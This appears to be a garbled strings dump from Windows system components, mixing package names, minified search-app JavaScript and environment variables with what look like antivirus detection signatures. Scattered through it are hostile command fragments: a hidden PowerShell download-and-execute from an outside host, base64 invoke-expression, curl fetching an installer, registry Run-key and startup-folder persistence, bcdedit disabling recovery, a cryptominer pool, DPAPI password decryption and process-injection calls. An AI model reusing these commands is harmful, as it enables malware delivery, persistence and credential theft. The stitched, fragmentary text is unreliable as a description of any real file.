Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
APPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local
("c:\\windows"+"\\temp\\700.exe")
WINDOWS11
consentpromptbehavioradmin(windowsruntimebroker)(
)D$0Helse if(l=="CoPST")if(n.Host.getJupiterProviderEnabled())a=()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.jupiterProvider.queryAsync(r.queryToFetch,n.Host.getRawImpressionGuid()),n.config.semanticSearchTimeout&&(a=h(a));else{e(l,i,null);return}else{if(y=n.safeExecute(()=>u.getResultsContainer(f),"getResultsContainer "+l),!y){e(l,i,null);return}a=()=>this.getResults(r,v,y,u)}let w="getItemsAsync";b?w="queryWindowsSearchIndexerAsync":l=="CoPIFF"?w="polarisProvider":l=="CoPCFP"?w="vegaProvider":l=="CoPST"&&(w="jupiterProvider");let k=null;(b||l=="CoPCFP"&&n.Host.getVegaProviderEnabled())&&(k=s);n.Async.safeChain(w,a,i=>{if(o()){if(!i){n.LogWSBError("[searchFolderWithMultipleResults] - Items is null for data source:",l,undefined,undefined,undefined,"WindowsTelemetry");return}let f=i.resultSet,o;i.whereId&&t.setWhereId(i);f?o=i.state:f=typeof i.length=="undefined"?Object.keys(i).map(n=>i[n]):i;b&&(n.config.win10ScopeIFFToHighPriorityFiles&&u.dataSource=="IFF"?(f=f.map(t=>n.IndexerQueryGenerator.fixKind(t)),f=it(v,f,u)):n.supportsShortcuts(l,r)&&(f=f.map(t=>n.IndexerQueryGenerator.fixKind(t))));let s=t.getDataSourceState(o);e(l,this.toLocalResponse(v,r,f,u,y),s)}},t=>{n.isCancellation(t)||this.logProviderFailure(l),e(l,i,null)},k,l+" "+r.queryToFetch)}searchFolderWithSingleResult(t,r,u,f,e){let o=r.dataSource,s=n.safeExecute(()=>r.getResultsContainer(u),"getResultsContainer "+o);s?n.Async.safeChain("tryGetResultAsync "+o,()=>s.tryGetResultAsync(),n=>{e()&&f(o,this.toLocalResponse(1,t,n?[n]:[],r,null),null)},t=>{n.isCancellation(t)||this.logProviderFailure(o),f(o,i,null)},null,t.queryToFetch):f(o,i,null)}logProviderFailure(t){let i=n.providerFailureLogName(t);i&&SearchAppWrapper.CortanaApp.queryFormulationView.logProviderFailure&&n.safeExecute(()=>SearchAppWrapper.CortanaApp.queryFormulationView.logProviderFailure(i,"ErrorForTopHit"),"logProviderFailure")}static getDataSourceState(n){switch(n){case 0:return"UN";case 1:return"NI";case 2:return"PI"}return undefined}static getApps(n,t,i,r){ht(n,t,"findAppsAsync",n=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.findAppsAsync(n),n=>y.customCreateLocalResponseSuggestion(n,null,r),i,r,null,!0)}static getAppsByDisplayName(n,t,i,r){ii(n,t,"getAppItemsByAppDisplayNames",n=>this.getAppItemsByAppDisplayNames(n),n=>y.customCreateLocalResponseSuggestion(n,null,r),i,r,null)}static getSettings(n,t,i,r){ri(n,t,"findSettingsAsync",n=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.findSettingsAsync(n),n=>rt.customCreateLocalResponseSuggestion(n,null,r),i,r,null)}static getFiles(i,f,e,o,s){ht(i,f,"findFilesAsync",i=>{var r;if(n.IndexerQueryGenerator){let u=n.IndexerQueryGenerator.generateIndexerQueryForMRUFilesAndFolders(e,"MFF",i,(r=t.lastResultHandle)===null||r===void 0?void 0:r.whereId);return SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.queryWindowsSearchIndexerAsync(u).then(n=>{n.whereId&&t.setWhereId(n);let i={};for(let t of n.resultSet)i[t.id]=t;return i})}return SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.findFilesAsync(i)},n=>r(n,u(n.kind,n.extension,"FL"),s),o,s,st)}static launchIndexingOptions(i){t.getSettings([l],t=>{let r;r=n.config.mapWrapperToJsMap&&t instanceof window.Map?t.get(l):t[l];r?n.Host.launchDeviceItemAsync(r.deviceItem,"ST"):i||this.launchIndexingOptions(!0)},null,null,!0)}isAllSymbols(n){var t;if((t=n===null||n===void 0?void 0:n.split(""))!==null&&t!==void 0)return t.every(n=>bt.has(n))}isWin10IFFMinQueryLengthApplicable(t){var i,r;let u=n.config.win10FastFileProviderSqlOptimizations&&n.config.win10IFFMinQueryLengthEnabled&&n.config.win10IFFMinQueryLengthLangs;if(u){r=n.Host.getLanguage().split("-")[0].toLowerCase();let u=Object.keys(n.config.win10IFFMinQueryLengthLangs);return(u===null||u===void 0?void 0:u.length)>0&&n.contains(u,r)&&((i=t===null||t===void 0?void 0:t.queryToFetch)===null||i===void 0?void 0:i.length)<n.config.win10IFFMinQueryLengthLangs[r]}return!1}shouldSkipGenerateIndexerQuerySearch(t){var i,r;return(t===null||t===void 0?void 0:t.scope)==n.Scope.All&&(this.isWin10IFFMi
{search--control.comsupport.php?yz=yesULWindowSeeksert98.regsertXP.regMonitoringTool:Win32/SuperStealthKeyCapturer
executionpolicyunrestricted-windowstyle
>\windows\system32\odbcconf.exe-f
h$rr1="load"$ee1="getmethod"$egshrh='c:\windows\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
!#SCRIPT:Powershell/New-ItemPropertyWinlogonShell.A
:microsoft\windowsnt\currentversion\winlogon
c:/windows/system32/d
c:/windows/system32/d
DriverData=C:\Windows\System32\Drivers\DriverData
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
!#AllowList:NetCleanAgentWindowsService
Microsoft.Windows.Console.Host
WINDOWSUDK.FOUNDATION.METADATA.APIINFORMATION
Windows.UI.Xaml.Controls
WINDOWS.SYSTEM.USERPROFILE.DIAGNOSTICSSETTINGS
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result_macros.h
Windows 4.0
Windows ARM64
Windows 8 or later detected, setting transport default mode to UDP + TCP
Windows.Ui.Xaml
WINDOWS.MEDIA.CAPTURE.FRAMES.MEDIAFRAM
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
BAccount.accountProviderId,accountProviderAuthority:this.selectedWSBAccount.accountProviderAuthority,accountProviderDisplayName:this.selectedWSBAccount.accountProviderDisplayName,anaIdentity:"",anaAccType:-2,anaNameDsp:"",anaStatus:"",anaContType:"",anaProviderItemID:"",isDefaultAccount:this.selectedWSBAccount.isDefaultAccount?1:0,aCnt:0,mCnt:0,oCnt:0,score:0});let i=this.transformDeviceItemToAnaheimDataItem(n,r);if(i.length>0){let n=i[0];n.id.indexOf("History")>-1?this.anaheimDataEntry.anaHistoryItems=i:n.id.indexOf("QuickLinks")>-1?this.anaheimDataEntry.anaTopSitesItems=i:n.id.indexOf("RecentlyClosed")>-1?this.anaheimDataEntry.anaRecentlyClosedItems=i:n.id.indexOf("Favorites")>-1&&(this.anaheimDataEntry.anaFavoritesItems=i)}this.anaheimDataEntry.lastUpdated=t.ClientSideStorage.StorageBasedDataProvider.getUnixTime();this.anaheimDataEntry.anaheimAccount=r;this.searchIndexerTime<=1?this.onAfterWrite():this.withStorage(n=>n.put("anaheimData",this.anaheimDataEntry,()=>this.onAfterWrite(),n=>{this.onError(n,"saveAnaheimDataToStorage");this.onAfterWrite()}))||this.onAfterWrite()}searchIndexerWithMultipleResults(t,e,o){i.getRetryCount()==f&&(t.anaheimStrategy=this.anaheimStrategy);let s=n.IndexerQueryGenerator.generateIndexerQuery(t,null,"",h,r,o);if(s.indexOf("WHERE")>-1){let o=()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.queryWindowsSearchIndexerAsync(s);n.Async.safeChain("queryAnaheimData",o,f=>{if(i.isInitialized()){this.searchIndexerTime++;i.InstrumentStringNumber.IFC=++i._indexerFetchCount;let n=f.resultSet;this.saveAnaheimDataToStorage(n)}else{i._lifetimeFetchCount=0;i._cachedFetchCount=0;i._indexerFetchCount=0;i._getResultsCount=0;i._getResultsExceptionCount=0;let e=f.resultSet,t=this.getSelectedWindowsAccount();if(t&&(this.selectedWSBAccount=t),this.selectAnaheimChannelAndProfile(e,this.selectedWSBAccount),!i.getSelectedProfile())return;for(let t=1;t<u;t++)n.IndexerQueryGenerator.updateAnaheimStrategy(r,t);i.initialized=!0;this.searchIndexerTime=0}i._getResultsCount++;this.anaheimStrategy++;this.anaheimStrategy<u&&this.searchIndexerWithMultipleResults(t,e)},o=>{n.isCancellation(o)||this.logProviderFailure(r),i._getResultsExceptionCount++,o.number===-2147215865&&i.getRetryCount()>0?i.decreaseRetryCount():(this.anaheimStrategy++,i.retryCount=f),i.isInitialized()&&this.anaheimStrategy<u&&this.searchIndexerWithMultipleResults(t,e)},e,r)}}getSelectedWindowsAccount(){let n=this.accessTokenManager.getSelectedAccountInfo();return n||(n=this.accessTokenManager.getSelectedAccountInfo()),n}selectAnaheimChannelAndProfile(t,r){var f,h,c,l;if(n.config.anaheimAccountCheckLevel!=-1){let u=[],a=[{displayName:"canary"},{displayName:"dev"},{displayName:"beta"},{displayName:"stable"},];for(let n of t)if(n){let t=n.id;if(t.indexOf("Profiles")>-1){let t={displayName:n.displayName,emailAddress:n.getProperty("System.Identity"),timestamp:n.getProperty("System.DateCreated"),status:n.getProperty("System.Status"),accountType:n.getProperty("System.ContentType"),id:n.getProperty("System.ProviderItemID")};u.push(t)}}if(i.availableChannels=a,u.sort(this.sortProfilesHelper),n.config.anaheimAccountCheckLevel==3){let v=this.selectedWSBAccount?o(this.selectedWSBAccount.accountProviderAuthority):-1,y=(h=(f=this.selectedWSBAccount)===null||f===void 0?void 0:f.accountUserName)!==null&&h!==void 0?h:"",n,t,r,e=0,l=0,a=0;for(let i of u){let u=s(i.accountType),o=(c=i.emailAddress)!==null&&c!==void 0?c:"";u==2?e++:u==1?l++:a++;let f=this.getUserNameWithTypeScore(v,y,u,o);f==3?n=i:f==2?t=i:f==1&&(r=i)}i.aadCnt=e;i.msaCnt=l;i.otherCnt=a;n?(i.selectedANAAccountProfile=n,i.score=3):t?(i.selectedANAAccountProfile=t,i.score=2):r&&(i.selectedANAAccountProfile=r,i.score=1)}else if(i.selectedANAAccountProfile=null,i.otherCnt=(l=u===null||u===void 0?void 0:u.length)!==null&&l!==void 0?l:0,r){for(let n in u)if(u[n].emailAddress===r.accountUserName){i.selectedANAAccountProfile=u[n];i.score=3;break}}else i.selectedANAAccountProfile=u[0],i.score=0;e()||i.selectedANAAccountProfile||(i.setShouldShowAnaheimDataSH(!1),i.setShouldShowAnaheimDataQF(!1));i.Inst
nT\winrm.celection(t,i,r,u,f){var o;let s=n.RuntimeConfig.AlwaysWide&&n.config.openOnKeybNavMiniSerp;if(n.isGroup(r)){s&&(this.clearSuggOpeningState(this._pendingPreviewedSuggestion),this.clearSuggOpeningState(this._previewedSuggestion),n.InstrumentationHelper.notifyTopHitPreviewPaneOpenedOrInterrupted(n.SequenceNumberManager.getSequenceNumber()),this.clear(),this.clearOpenTimer(),this.clearCloseTimer(),n.isSemanticSearchTelemetryEnabled()&&this.clearDwellTimer(),n.Host.getLogUserActivityDataEnabled()&&this.clearOrInstrumentItemDwell(),this.isPreviewPaneWithLoaderViewModel(this._activePreviewPaneViewModel)&&this._activePreviewPaneViewModel.stopLoadingScreen());return}let e=r;const c=n.isImageGridEnabledForItem(e.type,f)||n.shouldShowBingImageSearch(e.type,f),h=this._activePreviewPaneViewModel&&this._activePreviewPaneViewModel.hasFocus()&&this._activePreviewPaneViewModel.readyToBlur();e.previewPaneType?c?!s||t!=40&&t!=38&&t!=9&&(h||u||t!=37&&t!=39)?u&&t==n.getRtlAdjustedKey(39)?this.showPreviewAndFocus(i,e,"arrowRight"):t==n.getRtlAdjustedKey(37)&&h&&(this._activePreviewPaneViewModel.blur(),(o=_ge(r.id))===null||o===void 0?void 0:o.focus()):this._previewedSuggestion!=e&&this.autoOpen(i,e,"arrowUpOrDown",!1,!1):s&&(t==40||t==38||t==9)?this._previewedSuggestion!=e&&this.autoOpen(i,e,"arrowUpOrDown",!1,!1):t==n.getRtlAdjustedKey(39)&&this._currentQuery.originalCursorPosition==this._currentQuery.originalQuery.length&&n.Host.searchBoxHasFocus()?this.showPreviewAndFocus(i,e,"arrowRight"):t==n.getRtlAdjustedKey(37)&&this._activePreviewPaneViewModel&&this._activePreviewPaneViewModel.hasFocus()&&this._activePreviewPaneViewModel.readyToBlur()&&n.Host.setFocusInSearchBox(t,"previewPaneUnfocus"):this.clear()}refreshLocalContent(t,i,r){var u;let f=null;this._instrumentedOpenThisImpression&&(f=this.getOnPreviewPaneRendered(i,"refresh",0,t));let e=n=>this.onPreviewPaneErrored(n);n.InstrumentationHelper.notifyPreviewPanePending(r,i.previewPaneType,i.type);(u=this._activePreviewPaneViewModel)===null||u===void 0?void 0:u.update(i,t,0,this._previewPaneId,f,e,!0)}setActivePreviewPaneContainer(r){let f=r.previewPaneType;r.previewPaneType!=2&&(this.shouldOpenMiniSerp(r)||r.previewPaneType!=1)||(f=2);let u=this.getPreviewPaneInfoSafe(f);u&&(n.setVisibility(u.paneElement,!0),this._activePreviewPaneViewModel=u.viewModel,u.disableRootScroll&&!n.isStore(r===null||r===void 0?void 0:r.type)?n.StaticHtmlElements.qfPreviewScrollArea.classList.add(t):n.StaticHtmlElements.qfPreviewScrollArea.classList.remove(t),(n.config.enableWinStoreAppPreview||n.config.enableWinStoreAppDataProvider)&&(n.isStore(r===null||r===void 0?void 0:r.type)?n.StaticHtmlElements.qfPreviewScrollArea.classList.add(i):n.StaticHtmlElements.qfPreviewScrollArea.classList.remove(i)),this.isPreviewPaneWithLoaderViewModel(this._activePreviewPaneViewModel)&&this._activePreviewPaneViewModel.startLoadingScreen())}getPreviewPaneInfoSafe(t){if(t>=this._previewPaneInfos.length)return n.LogWSBError("PreviewPaneV2",`PreviewType ${t} is not supported in PreviewPaneV2`,new Error(`Unsupported PreviewType: ${t}`),undefined,undefined,"WindowsTelemetry"),null;return this._previewPaneInfos[t]}setPreviewPaneContent(n,t,i,r,u,f){var e;this.clear();this._previewedSuggestion=t;this._previewedSuggestion&&(this._previewedSuggestion.hasPreviewPaneOpened=!0,this._previewedSuggestion.isPreviewPaneOpening=!1);this._previewPaneResponseReceivedTimeStamp=null;this._queryForPreviewedSuggestion=n;this.setActivePreviewPaneContainer(t,n);(e=this._activePreviewPaneViewModel)===null||e===void 0?void 0:e.update(t,n,i,r,u,f,t.previewPaneNeedsRefreshAfterDeduping)}bindBeforeItemLaunch(n){this._beforeItemLaunchEventHandlers.push(n)}bindAfterItemLaunch(n){this._afterItemLaunchEventHandlers.push(n)}hasFocus(){return this._activePreviewPaneViewModel?this._activePreviewPaneViewModel.hasFocus():!1}isOpened(){return!!this._previewedSuggestion}isPreviewPaneWithLoaderViewModel(n){return!!(n===null||n===void 0?void 0:n.startLoadingScreen)}}n.PreviewPane=f}(WSB||(WSB={})),function(n){const t="NR",i="RF",r="CHN",u="OFL";class f extends n.JsonData\
.?AV<lambda_1>@?L@??GetCreativeResultsAsync@IrisServiceImpl@implementation@IrisService@winrt@@QEAA?AU?$IAsyncOperation@UIrisCreativeResults@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@5@Uhstring@5@IU?$IMapView@Uhstring@winrt@@U12@@Collections@785@W4RetrieveCreativesOption@Iris@Services@WindowsUdk@5@@Z@
'Microsoft Windows Code Signing PCA 20240
Yhttp://www.microsoft.com/pkiops/crl/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crl0w
[http://www.microsoft.com/pkiops/certs/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crt0
Microsoft-Windows-Kernel-Package-CodeIntegrity-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
xis app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
windows\svch0st.exec:\progra~1\esetdownkilllistdownloadnumskillprocchksumferefileremovreglistremovregdownfilelistdownfiledownmainlistmainfile\explorer.exe_fere_/config.ravtaskterminateprocessopenprocess
drivers\etc\hostsiframedollars.bizdkprogsdktibs.exec:\windows\system32\systime.exeexploit.exefucker.exedladvmstasksinternetopen
microsoft network informationmicrosoft windows alertspyware detected on your pc.remove it now?gay anal sexinternet pokeronline casinohydrocodoneadipexxanaxcar insurancevaliumonline pharmacyfioricetonline gamblingcialisauto insurancebuy phenterminedebt consolidatiolortabrefinancehome loantexas holdemairline ticketsdiet pillsambienparty pokerringtoneairlinescarisoprodolmortgage ratesbuy viagrabuy cialisair purifiersbusinesswhat is vicodinonline casinoslas vegas hotelssearch1.php?qq=%shttp=http://127.0.0.1:8080internet connection wizardshow2.php?id=
/c del "c:\myapp.exe<IFRAME SRC="HTTP://www.htm-html-asp-aspx-phpwww.ysbr.cnwidth=0 height=0></iframe>c:\windows\syste\x20\x00c:\windows\system32remote help session managerrasautol/c del "c:\/c
LOCALAPPDATA=C:\WINDOWS\system32\config
OS=Windows_NT
https://wns2-ln2p.notify.windows.com/?token=AwYAAAB3veKb8UDgHiCP34MwdOmE0Ng73A1OkE1zlabEKQgAqEBGPN%2bvf0Gj1yMLhCzI%2fmI6Ur1Nj9wDmzfaV3cdtZWSKCOMiaA0bldPQhDVD%2bx3S5WORur6QSOwu%2f40YjZWQ3I%3d
@%SystemRoot%\System32\wfdsconmgrsvc.dll,-9000
@%SystemRoot%\System32\zthelper.dll,-100
@%systemroot%\system32\drivers\afd.sys,-1000
@%systemroot%\system32\drivers\ahcache.sys,-102sH
@%systemroot%\system32\srpapi.dll,-100
@%systemroot%\system32\srpapi.dll,-102
@%SystemRoot%\system32\drivers\bam.sys,-100
@%systemroot%\system32\drivers\bfs.sys,-100
@%systemroot%\system32\drivers\bindflt.sys,-100d@
@%systemroot%\system32\wkssvc.dll,-2001
@%SystemRoot%\system32\drivers\clfs.sys,-10000
@%systemroot%\system32\wkssvc.dll,-1008.@
Windows Script
Vcit_launchmethod=contextmenuit_selectprogram=notlistedit_browseforfile=h$(invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'"+encodedstring+"'+[char]34+'))'))))i/../../../../../../../../../../../../../../windows/system32/mpsigstub.exeit_autotroubleshoot=ts_auto\
WindowsUpdater.exe -l luckpool.org
C:\Users\Krysto\source\repos\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\EGG.pdbC:\Users\Krysto\source\repos\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\WindowsFormsApp1.pdb/
Microsoft.Windows.AppBackupListener
Microsoft.Windows.Shell.CloudFiles
Microsoft.Windows.Gaming.Posture.Core
SOFTWARE\Microsoft\Windows NT\CurrentVersion
Microsoft.Windows.PCA.PatchDb
Microsoft.Windows.PCA.WEL
Microsoft.Windows.PCA.Siuf
Microsoft.Windows.Compatibility.PCA
Microsoft.Windows.PCA.Ids
Microsoft.Windows.PCA.Kdd
Microsoft.Windows.PCA.Udd
Microsoft.Windows.PCA.PushApphelp
Microsoft.Windows.Inventory.Core
Microsoft.Windows.Inventory.Core
Microsoft.Windows.In
Failed to cat system32 path
C:\WINDOWS\Temp\vmware-vmsvc-SYSTEM.log
C:\WINDOWS\Temp\vmware-vmsvc-SYSTEM.log
ce.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
WINDOWS-1250
WINDOWS-1251
WINDOWS-1252
WINDOWS-1253
WINDOWS-1254
WINDOWS-1255
WINDOWS-1256
WINDOWS-1257
WINDOWS-1258
WINDOWS-874
WINDOWS-51932
WINDOWS-31J
WINDOWS-932
CSWINDOWS31J
WINDOWS-50221
WINDOWS-936
windows-874
windows-1250
windows-1251
windows-1252
windows-1253
windows-1254
windows-1255
windows-1256
windows-1257
windows-1258
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVFindAllAccountsResult@Core@Web@Authentication@Security@Windows@@PEAUIFindAllAccountsResult@23456@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVFindAllAccountsResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVWebAccountProvider@Credentials@Security@Windows@@PEAUIWebAccountProvider@234@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@PEAUIWebTokenRequestResult@23456@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@
7windows.appExte
OutlookForWindows.
windows
windows.apt
\system32\wbem\wbemcore.tlb
\system32\wbem\wbemnet.dll
\system32\xwtpw.dll
\system32\wbem\suyl.dll
\system32\wbem\suyl.tlb
\system32\explorerf.dll
\system32\wpdsh.dll
\system32\wbem\sppext.tlb
\system32\wbem\mstscax.tlb
programdata\microsoft\windows\spasetup32.uce
programdata\microsoft\windows\spasetup64.uce
programdata\microsoft\windows\spasetup.uce
programdata\microsoft\windows\caches\comobj.uce
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#ModifiedPageListBytes
DriverData=C:\Windows\System32\Drivers\DriverData
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\
rules_from_windows_time_zone
[hkey_local_machine\software\policies\microsoft\windows defender\signature updates]
powershell-windowstylehidden-command"invoke-webrequest-uri'%url%'-outfile'%dest%'"
VHsavetofile"c:\windows\temp\
.exe",2stream.closeshell.run"c:\windows\temp\
%SystemRoot%/System32/drivers/amdwps.sys
%SystemRoot%/System32/drivers/arcsas.sys
%SystemRoot%/System32/drivers/atapi.sys
%SystemRoot%/System32/drivers/ataport.sys
%SystemRoot%/System32/drivers/battc.sys
%SystemRoot%/System32/drivers/BtaMPM.sys
%SystemRoot%/System32/drivers/BthA2dp.sys
%SystemRoot%/System32/drivers/bthenum.sys
USERNAME=WINDOWS11$
windir=C:\WINDOWS
	COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
C:\WINDOWS\system32\backgroundTaskHost.exe
c:\windows\system32\windowspowershell\v1.0-execbypass-windo1$je=[text.encoding]::utf8.getstring([convert]::frombase64string('awv4'));salcalc$je;$mm=((new-objectnet.webclient)).downloadstring('http://sh4056438.c.had.su/asp.ps1');calc$mm!%systemroot%\system32\shell32.dllx
c:\windows\system32\cmd.exe/kstartmsedgehttps://burnfatandfast.com/wp-admin/documents/tech-spec.pdf&curl-slo%temp%\54d439f0-9d77-4b4d-9587-4f0beebb7b28.msihttp://burnfatandfast.com/par
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
microsoftwindows.client.oobe_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy
f//MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageName
WindowsFormsUtils
System.Windows.Forms.UnsafeNativeMethods.IVBGetControl.EnumControls
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
Vibration intensity when you snap windows, align objects and morex
Feel subtle vibrations when you snap windows, align objects and moree
Scroll inactive windows when I hover over thema
Vibration intensity when you snap windows, align objects and morex
Feel subtle vibrations when you snap windows, align objects and moreK
Turn Windows features on or offX
PAdjust the appearance and performance of WindowsQ
Windows Mobility CenterO
AClassic_{5D461B44-2753-4DD7-B2C0-BAB71B1F4C1A} fManage Windows Credentials`
Windows Defender FirewallJ
Find and fix problems with Windows UpdateI
Run programs made for previous versions of Windows
filecopy(@scriptfullpath,@appdatadir&"\inter.exe",1)run(@comspec&"/cregaddhkcu\software\microsoft\windows\currentversion\run/vkb2823324/d"""&@appdatadir&"\inter.exe""/f")
contents-search-windows.com/
windowsforiotdevices.com
contents-search-windows.com
EnumWindows
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
ishellwindows.item
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~wow64~~10.0.26100.39129
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows
windows.hlp
WindowsInternal.ComposableShell.DesktopHosting.dll
c:\windows\h
Behavior:Win32/WinlogonRegistryUserInit.A
minWoerasmt_u;vKwBehavior:Win32/WinlogonRegistryShell.A
MLOLPA4DESKEnumDesktopWindowsgetaddrinfo
:\windows\
\system32
Windows Defender Exploit Guard detected either obfuscated JavaScript, VBScript, or macro code.
Windows has apps' camera usages for you to review~
=%appdata%\microsoft\windowsw
\windows
.CreateTextFile(Environ$("HOMEPATH") & "\\" & "AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pepsi.bat",.Write 
po:i+00/c:\n1windows8&windowsr1system32:&system32n2cmd.exe8&cmd.exe
F"!%systemroot%\system32\shell32.dll%wn]nd.q
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
windows.immersivecontrolpanel_cw5n1h2txyewy!m
\system32\svchost.exe -k rpcssRunWinChackAppPatch
closeAllWindows
C:\Windows\System32\cmd.exe/q/cbcdedit/set{default}recoveryenablednoC
len(execute('wevtutilqe"microsoft-windows-windowsdefender/operational"/f:text').stdout)
removedpapireturndecrypt_windows_data(encrypted_key)defdecrypt_password(buff,master_key
Magic number = 0x5A4DWindowsPowerShell\v1.0\powershell.exeexec BypassRunPE(ByRef baImage()WriteProcessMemory(structProcessInformation.hProcessReadProcessMemory(structProcessInformation.hProcessResumeThread(structProcessInformation.hThread)NtWriteVirtualMemory(structProcessInformation.hProcessNtReadVirtualMemory(structProcessInformation.hProcessNtResumeThread(structProcessInformation.hThreadVirTool:Win64/Foundasz.A
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
 Windows error: U
X-BM-WindowsFlights
WindowsIndexingDisabledAction
WindowsIndexingDisabledMessage
